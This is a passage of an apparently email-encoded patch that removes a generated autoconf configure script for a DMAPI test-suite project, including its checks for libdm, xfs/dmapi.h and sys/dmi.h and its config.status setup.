Unsupported tag name: $tagname" >&2;} - { (exit 1); exit 1; }; } -=09;; - esac - - # Append the new tag name to the list of available tags. - if test -n "$tagname" ; then - available_tags=3D"$available_tags $tagname" - fi - fi - done - IFS=3D"$lt_save_ifs" - - # Now substitute the updated list of available tags. - if eval "sed -e 's/^available_tags=3D.*\$/available_tags=3D\"$availa= ble_tags\"/' \"$ofile\" > \"${ofile}T\""; then - mv "${ofile}T" "$ofile" - chmod +x "$ofile" - else - rm -f "${ofile}T" - { { echo "$as_me:$LINENO: error: unable to update list of availabl= e tagged configurations." >&5 -echo "$as_me: error: unable to update list of available tagged configu= rations." >&2;} - { (exit 1); exit 1; }; } - fi -fi - - - -# This can be used to rebuild libtool when needed -LIBTOOL_DEPS=3D"$ac_aux_dir/ltmain.sh" - -# Always use our own libtool. -LIBTOOL=3D'$(SHELL) $(top_builddir)/libtool' - -# Prevent multiple expansion - - - - - - - - - - - - - - - - - - - - - - - - - -echo "$as_me:$LINENO: checking for dm_init_service in -ldm" >&5 -echo $ECHO_N "checking for dm_init_service in -ldm... $ECHO_C" >&6 -if test "${ac_cv_lib_dm_dm_init_service+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_check_lib_save_LIBS=3D$LIBS -LIBS=3D"-ldm $LIBS" -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -/* Override any gcc2 internal prototype to avoid an error. */ -#ifdef __cplusplus -extern "C" -#endif -/* We use char because int might match the return type of a gcc2 - builtin and then its argument prototype would still apply. */ -char dm_init_service (); -int -main () -{ -dm_init_service (); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext conftest$ac_exeext -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest$ac_exeext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_lib_dm_dm_init_service=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_lib_dm_dm_init_service=3Dno -fi -rm -f conftest.err conftest.$ac_objext \ - conftest$ac_exeext conftest.$ac_ext -LIBS=3D$ac_check_lib_save_LIBS -fi -echo "$as_me:$LINENO: result: $ac_cv_lib_dm_dm_init_service" >&5 -echo "${ECHO_T}$ac_cv_lib_dm_dm_init_service" >&6 -if test $ac_cv_lib_dm_dm_init_service =3D yes; then - cat >>confdefs.h <<_ACEOF -#define HAVE_LIBDM 1 -_ACEOF - - LIBS=3D"-ldm $LIBS" - -fi - - - -for ac_header in xfs/dmapi.h -do -as_ac_Header=3D`echo "ac_cv_header_$ac_header" | $as_tr_sh` -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 -else - # Is the header compilable? -echo "$as_me:$LINENO: checking $ac_header usability" >&5 -echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_includes_default -#include <$ac_header> -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_header_compiler=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_header_compiler=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 -echo "${ECHO_T}$ac_header_compiler" >&6 - -# Is the header present? -echo "$as_me:$LINENO: checking $ac_header presence" >&5 -echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include <$ac_header> -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - ac_header_preproc=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_header_preproc=3Dno -fi -rm -f conftest.err conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 -echo "${ECHO_T}$ac_header_preproc" >&6 - -# So? What about this header? -case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in - yes:no: ) - { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compi= ler, rejected by the preprocessor!" >&5 -echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected = by the preprocessor!" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the c= ompiler's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the compiler's resu= lt" >&2;} - ac_header_preproc=3Dyes - ;; - no:yes:* ) - { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be= compiled" >&5 -echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing= prerequisite headers?" >&5 -echo "$as_me: WARNING: $ac_header: check for missing prerequisite = headers?" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf docu= mentation" >&5 -echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present= But Cannot Be Compiled\"" >&5 -echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be= Compiled\"" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the p= reprocessor's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's = result" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the co= mpiler will take precedence" >&5 -echo "$as_me: WARNING: $ac_header: in the future, the compiler will ta= ke precedence" >&2;} - ( - cat <<\_ASBOX -## ------------------------------------------ ## -## Report this to the AC_PACKAGE_NAME lists. ## -## ------------------------------------------ ## -_ASBOX - ) | - sed "s/^/$as_me: WARNING: /" >&2 - ;; -esac -echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - eval "$as_ac_Header=3D\$ac_header_preproc" -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 - -fi -if test `eval echo '${'$as_ac_Header'}'` =3D yes; then - cat >>confdefs.h <<_ACEOF -#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 -_ACEOF - have_xfs_dmapi_h=3D1 -fi - -done - - -for ac_header in sys/dmi.h -do -as_ac_Header=3D`echo "ac_cv_header_$ac_header" | $as_tr_sh` -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 -else - # Is the header compilable? -echo "$as_me:$LINENO: checking $ac_header usability" >&5 -echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_includes_default -#include <$ac_header> -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_header_compiler=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_header_compiler=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 -echo "${ECHO_T}$ac_header_compiler" >&6 - -# Is the header present? -echo "$as_me:$LINENO: checking $ac_header presence" >&5 -echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include <$ac_header> -_ACEOF -if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 - (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } >/dev/null; then - if test -s conftest.err; then - ac_cpp_err=3D$ac_c_preproc_warn_flag - ac_cpp_err=3D$ac_cpp_err$ac_c_werror_flag - else - ac_cpp_err=3D - fi -else - ac_cpp_err=3Dyes -fi -if test -z "$ac_cpp_err"; then - ac_header_preproc=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - - ac_header_preproc=3Dno -fi -rm -f conftest.err conftest.$ac_ext -echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 -echo "${ECHO_T}$ac_header_preproc" >&6 - -# So? What about this header? -case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in - yes:no: ) - { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compi= ler, rejected by the preprocessor!" >&5 -echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected = by the preprocessor!" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the c= ompiler's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the compiler's resu= lt" >&2;} - ac_header_preproc=3Dyes - ;; - no:yes:* ) - { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be= compiled" >&5 -echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing= prerequisite headers?" >&5 -echo "$as_me: WARNING: $ac_header: check for missing prerequisite = headers?" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf docu= mentation" >&5 -echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2= ;} - { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present= But Cannot Be Compiled\"" >&5 -echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be= Compiled\"" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the p= reprocessor's result" >&5 -echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's = result" >&2;} - { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the co= mpiler will take precedence" >&5 -echo "$as_me: WARNING: $ac_header: in the future, the compiler will ta= ke precedence" >&2;} - ( - cat <<\_ASBOX -## ------------------------------------------ ## -## Report this to the AC_PACKAGE_NAME lists. ## -## ------------------------------------------ ## -_ASBOX - ) | - sed "s/^/$as_me: WARNING: /" >&2 - ;; -esac -echo "$as_me:$LINENO: checking for $ac_header" >&5 -echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 -if eval "test \"\${$as_ac_Header+set}\" =3D set"; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - eval "$as_ac_Header=3D\$ac_header_preproc" -fi -echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 -echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 - -fi -if test `eval echo '${'$as_ac_Header'}'` =3D yes; then - cat >>confdefs.h <<_ACEOF -#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 -_ACEOF - -fi - -done - - -CPPFLAGS=3D"-I\$(top_srcdir)/src/common" -if test "$have_xfs_dmapi_h" =3D 1; then -CPPFLAGS=3D"$CPPFLAGS -I/usr/include/xfs" -CPPFLAGS=3D"$CPPFLAGS -D_FILE_OFFSET_BITS=3D64 -D_GNU_SOURCE" -fi - - - - - = ac_config_files=3D"$ac_config_f= iles Makefile src/Makefile src/common/Makefile src/common/cmd/Makefile = src/common/lib/Makefile src/suite1/Makefile src/suite1/cmd/Makefile src= /sample_hsm/Makefile src/simple/Makefile src/suite2/Makefile src/suite2= /src/Makefile" -cat >confcache <<\_ACEOF -# This file is a shell script that caches the results of configure -# tests run on this system so they can be shared between configure -# scripts and configure runs, see configure's option --config-cache. -# It is not useful on other systems. If it contains results you don't -# want to keep, you may remove or edit it. -# -# config.status only pays attention to the cache file if you give it -# the --recheck option to rerun configure. -# -# `ac_cv_env_foo' variables (set or unset) will be overridden when -# loading this file, other *unset* `ac_cv_foo' will be assigned the -# following values. - -_ACEOF - -# The following way of writing the cache mishandles newlines in values= , -# but we know of no workaround that is simple, portable, and efficient= . -# So, don't put newlines in cache variables' values. -# Ultrix sh set writes to stderr and can't be redirected directly, -# and sets the high bit in the cache file unless we assign to the vars= . -{ - (set) 2>&1 | - case `(ac_space=3D' '; set | grep ac_space) 2>&1` in - *ac_space=3D\ *) - # `set' does not quote correctly, so add quotes (double-quote - # substitution turns \\\\ into \\, and sed turns \\ into \). - sed -n \ -=09"s/'/'\\\\''/g; -=09 s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=3D\\(.*\\)/\\1=3D'\= \2'/p" - ;; - *) - # `set' quotes correctly as required by POSIX, so do not add quo= tes. - sed -n \ -=09"s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=3D\\(.*\\)/\\1=3D\\2= /p" - ;; - esac; -} | - sed ' - t clear - : clear - s/^\([^=3D]*\)=3D\(.*[{}].*\)$/test "${\1+set}" =3D set || &/ - t end - /^ac_cv_env/!s/^\([^=3D]*\)=3D\(.*\)$/\1=3D${\1=3D\2}/ - : end' >>confcache -if diff $cache_file confcache >/dev/null 2>&1; then :; else - if test -w $cache_file; then - test "x$cache_file" !=3D "x/dev/null" && echo "updating cache $cac= he_file" - cat confcache >$cache_file - else - echo "not updating unwritable cache $cache_file" - fi -fi -rm -f confcache - -test "x$prefix" =3D xNONE && prefix=3D$ac_default_prefix -# Let make expand exec_prefix. -test "x$exec_prefix" =3D xNONE && exec_prefix=3D'${prefix}' - -# VPATH may cause trouble with some makes, so we remove $(srcdir), -# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading an= d -# trailing colons and then remove the whole line if VPATH becomes empt= y -# (actually we leave an empty line to preserve line numbers). -if test "x$srcdir" =3D x.; then - ac_vpsub=3D'/^[=09 ]*VPATH[=09 ]*=3D/{ -s/:*\$(srcdir):*/:/; -s/:*\${srcdir}:*/:/; -s/:*@srcdir@:*/:/; -s/^\([^=3D]*=3D[=09 ]*\):*/\1/; -s/:*$//; -s/^[^=3D]*=3D[=09 ]*$//; -}' -fi - -# Transform confdefs.h into DEFS. -# Protect against shell expansion while executing Makefile rules. -# Protect against Makefile macro expansion. -# -# If the first sed substitution is executed (which looks for macros th= at -# take arguments), then we branch to the quote section. Otherwise, -# look for a macro that doesn't take arguments. -cat >confdef2opt.sed <<\_ACEOF -t clear -: clear -s,^[=09 ]*#[=09 ]*define[=09 ][=09 ]*\([^=09 (][^=09 (]*([^)]*)\)[=09 = ]*\(.*\),-D\1=3D\2,g -t quote -s,^[=09 ]*#[=09 ]*define[=09 ][=09 ]*\([^=09 ][^=09 ]*\)[=09 ]*\(.*\),= -D\1=3D\2,g -t quote -d -: quote -s,[=09 `~#$^&*(){}\\|;'"<>?],\\&,g -s,\[,\\&,g -s,\],\\&,g -s,\$,$$,g -p -_ACEOF -# We use echo to avoid assuming a particular line-breaking character. -# The extra dot is to prevent the shell from consuming trailing -# line-breaks from the sub-command output. A line-break within -# single-quotes doesn't work because, if this script is created in a -# platform that uses two characters for line-breaks (e.g., DOS), tr -# would break. -ac_LF_and_DOT=3D`echo; echo .` -DEFS=3D`sed -n -f confdef2opt.sed confdefs.h | tr "$ac_LF_and_DOT" ' .= '` -rm -f confdef2opt.sed - - -ac_libobjs=3D -ac_ltlibobjs=3D -for ac_i in : $LIBOBJS; do test "x$ac_i" =3D x: && continue - # 1. Remove the extension, and $U if already installed. - ac_i=3D`echo "$ac_i" | -=09 sed 's/\$U\././;s/\.o$//;s/\.obj$//'` - # 2. Add them. - ac_libobjs=3D"$ac_libobjs $ac_i\$U.$ac_objext" - ac_ltlibobjs=3D"$ac_ltlibobjs $ac_i"'$U.lo' -done -LIBOBJS=3D$ac_libobjs - -LTLIBOBJS=3D$ac_ltlibobjs - - -if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then - { { echo "$as_me:$LINENO: error: conditional \"AMDEP\" was never def= ined. -Usually this means the macro was only invoked conditionally." >&5 -echo "$as_me: error: conditional \"AMDEP\" was never defined. -Usually this means the macro was only invoked conditionally." >&2;} - { (exit 1); exit 1; }; } -fi -if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"= ; then - { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCC\" was n= ever defined. -Usually this means the macro was only invoked conditionally." >&5 -echo "$as_me: error: conditional \"am__fastdepCC\" was never defined. -Usually this means the macro was only invoked conditionally." >&2;} - { (exit 1); exit 1; }; } -fi -if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE= }"; then - { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCXX\" was = never defined. -Usually this means the macro was only invoked conditionally." >&5 -echo "$as_me: error: conditional \"am__fastdepCXX\" was never defined. -Usually this means the macro was only invoked conditionally." >&2;} - { (exit 1); exit 1; }; } -fi - -: ${CONFIG_STATUS=3D./config.status} -ac_clean_files_save=3D$ac_clean_files -ac_clean_files=3D"$ac_clean_files $CONFIG_STATUS" -{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 -echo "$as_me: creating $CONFIG_STATUS" >&6;} -cat >$CONFIG_STATUS <<_ACEOF -#! $SHELL -# Generated by $as_me. -# Run this file to recreate the current configuration. -# Compiler output produced by configure, useful for debugging -# configure, is in config.log if it exists. - -debug=3Dfalse -ac_cs_recheck=3Dfalse -ac_cs_silent=3Dfalse -SHELL=3D\${CONFIG_SHELL-$SHELL} -_ACEOF - -cat >>$CONFIG_STATUS <<\_ACEOF -## --------------------- ## -## M4sh Initialization. ## -## --------------------- ## - -# Be Bourne compatible -if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then - emulate sh - NULLCMD=3D: - # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which - # is contrary to our usage. Disable this feature. - alias -g '${1+"$@"}'=3D'"$@"' -elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; = then - set -o posix -fi -DUALCASE=3D1; export DUALCASE # for MKS sh - -# Support unset when possible. -if ( (MAIL=3D60; unset MAIL) || exit) >/dev/null 2>&1; then - as_unset=3Dunset -else - as_unset=3Dfalse -fi - - -# Work around bugs in pre-3.0 UWIN ksh. -$as_unset ENV MAIL MAILPATH -PS1=3D'$ ' -PS2=3D'> ' -PS4=3D'+ ' - -# NLS nuisances. -for as_var in \ - LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATIO= N \ - LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ - LC_TELEPHONE LC_TIME -do - if (set +x; test -z "`(eval $as_var=3DC; export $as_var) 2>&1`"); th= en - eval $as_var=3DC; export $as_var - else - $as_unset $as_var - fi -done - -# Required to use basename. -if expr a : '\(a\)' >/dev/null 2>&1; then - as_expr=3Dexpr -else - as_expr=3Dfalse -fi - -if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" =3D "X/";= then - as_basename=3Dbasename -else - as_basename=3Dfalse -fi - - -# Name of the executable. -as_me=3D`$as_basename "$0" || -$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ -=09 X"$0" : 'X\(//\)$' \| \ -=09 X"$0" : 'X\(/\)$' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X/"$0" | - sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } - =09 /^X\/\(\/\/\)$/{ s//\1/; q; } - =09 /^X\/\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - - -# PATH needs CR, and LINENO needs CR and PATH. -# Avoid depending upon Character Ranges. -as_cr_letters=3D'abcdefghijklmnopqrstuvwxyz' -as_cr_LETTERS=3D'ABCDEFGHIJKLMNOPQRSTUVWXYZ' -as_cr_Letters=3D$as_cr_letters$as_cr_LETTERS -as_cr_digits=3D'0123456789' -as_cr_alnum=3D$as_cr_Letters$as_cr_digits - -# The user is always right. -if test "${PATH_SEPARATOR+set}" !=3D set; then - echo "#! /bin/sh" >conf$$.sh - echo "exit 0" >>conf$$.sh - chmod +x conf$$.sh - if (PATH=3D"/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then - PATH_SEPARATOR=3D';' - else - PATH_SEPARATOR=3D: - fi - rm -f conf$$.sh -fi - - - as_lineno_1=3D$LINENO - as_lineno_2=3D$LINENO - as_lineno_3=3D`(expr $as_lineno_1 + 1) 2>/dev/null` - test "x$as_lineno_1" !=3D "x$as_lineno_2" && - test "x$as_lineno_3" =3D "x$as_lineno_2" || { - # Find who we are. Look in the path if we contain no path at all - # relative or not. - case $0 in - *[\\/]* ) as_myself=3D$0 ;; - *) as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - test -r "$as_dir/$0" && as_myself=3D$as_dir/$0 && break -done - - ;; - esac - # We did not find ourselves, most probably we were run as `sh COMMAN= D' - # in which case we are not to be found in the path. - if test "x$as_myself" =3D x; then - as_myself=3D$0 - fi - if test ! -f "$as_myself"; then - { { echo "$as_me:$LINENO: error: cannot find myself; rerun with an= absolute path" >&5 -echo "$as_me: error: cannot find myself; rerun with an absolute path" = >&2;} - { (exit 1); exit 1; }; } - fi - case $CONFIG_SHELL in - '') - as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for as_base in sh bash ksh sh5; do -=09 case $as_dir in -=09 /*) -=09 if ("$as_dir/$as_base" -c ' - as_lineno_1=3D$LINENO - as_lineno_2=3D$LINENO - as_lineno_3=3D`(expr $as_lineno_1 + 1) 2>/dev/null` - test "x$as_lineno_1" !=3D "x$as_lineno_2" && - test "x$as_lineno_3" =3D "x$as_lineno_2" ') 2>/dev/null; then -=09 $as_unset BASH_ENV || test "${BASH_ENV+set}" !=3D set || { BAS= H_ENV=3D; export BASH_ENV; } -=09 $as_unset ENV || test "${ENV+set}" !=3D set || { ENV=3D; expor= t ENV; } -=09 CONFIG_SHELL=3D$as_dir/$as_base -=09 export CONFIG_SHELL -=09 exec "$CONFIG_SHELL" "$0" ${1+"$@"} -=09 fi;; -=09 esac - done -done -;; - esac - - # Create $as_me.lineno as a copy of $as_myself, but with $LINENO - # uniformly replaced by the line number. The first 'sed' inserts a - # line-number line before each line; the second 'sed' does the real - # work. The second script uses 'N' to pair each line-number line - # with the numbered line, and appends trailing '-' during - # substitution so that $LINENO is not a special case at line end. - # (Raja R Harinath suggested sed '=3D', and Paul Eggert wrote the - # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) - sed '=3D' <$as_myself | - sed ' - N - s,$,-, - : loop - s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\= 1\2\1\3, - t loop - s,-$,, - s,^['$as_cr_digits']*\n,, - ' >$as_me.lineno && - chmod +x $as_me.lineno || - { { echo "$as_me:$LINENO: error: cannot create $as_me.lineno; reru= n with a POSIX shell" >&5 -echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX s= hell" >&2;} - { (exit 1); exit 1; }; } - - # Don't try to exec as it changes $[0], causing all sort of problems - # (the dirname of $[0] is not the place where we might find the - # original and so on. Autoconf is especially sensible to this). - . ./$as_me.lineno - # Exit status is that of the last command. - exit -} - - -case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in - *c*,-n*) ECHO_N=3D ECHO_C=3D' -' ECHO_T=3D'=09' ;; - *c*,* ) ECHO_N=3D-n ECHO_C=3D ECHO_T=3D ;; - *) ECHO_N=3D ECHO_C=3D'\c' ECHO_T=3D ;; -esac - -if expr a : '\(a\)' >/dev/null 2>&1; then - as_expr=3Dexpr -else - as_expr=3Dfalse -fi - -rm -f conf$$ conf$$.exe conf$$.file -echo >conf$$.file -if ln -s conf$$.file conf$$ 2>/dev/null; then - # We could just check for DJGPP; but this test a) works b) is more g= eneric - # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04)= . - if test -f conf$$.exe; then - # Don't use ln at all; we don't have any links - as_ln_s=3D'cp -p' - else - as_ln_s=3D'ln -s' - fi -elif ln conf$$.file conf$$ 2>/dev/null; then - as_ln_s=3Dln -else - as_ln_s=3D'cp -p' -fi -rm -f conf$$ conf$$.exe conf$$.file - -if mkdir -p . 2>/dev/null; then - as_mkdir_p=3D: -else - test -d ./-p && rmdir ./-p - as_mkdir_p=3Dfalse -fi - -as_executable_p=3D"test -f" - -# Sed expression to map a string onto a valid CPP name. -as_tr_cpp=3D"eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_= alnum]%_%g'" - -# Sed expression to map a string onto a valid variable name. -as_tr_sh=3D"eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" - - -# IFS -# We need space, tab and new line, in precisely that order. -as_nl=3D' -' -IFS=3D" =09$as_nl" - -# CDPATH. -$as_unset CDPATH - -exec 6>&1 - -# Open the log real soon, to keep \$[0] and so on meaningful, and to -# report actual input values of CONFIG_FILES etc. instead of their -# values after options handling. Logging --version etc. is OK. -exec 5>>config.log -{ - echo - sed 'h;s/./-/g;s/^.../## /;s/...$/ ##/;p;x;p;x' <<_ASBOX -## Running $as_me. ## -_ASBOX -} >&5 -cat >&5 <<_CSEOF - -This file was extended by 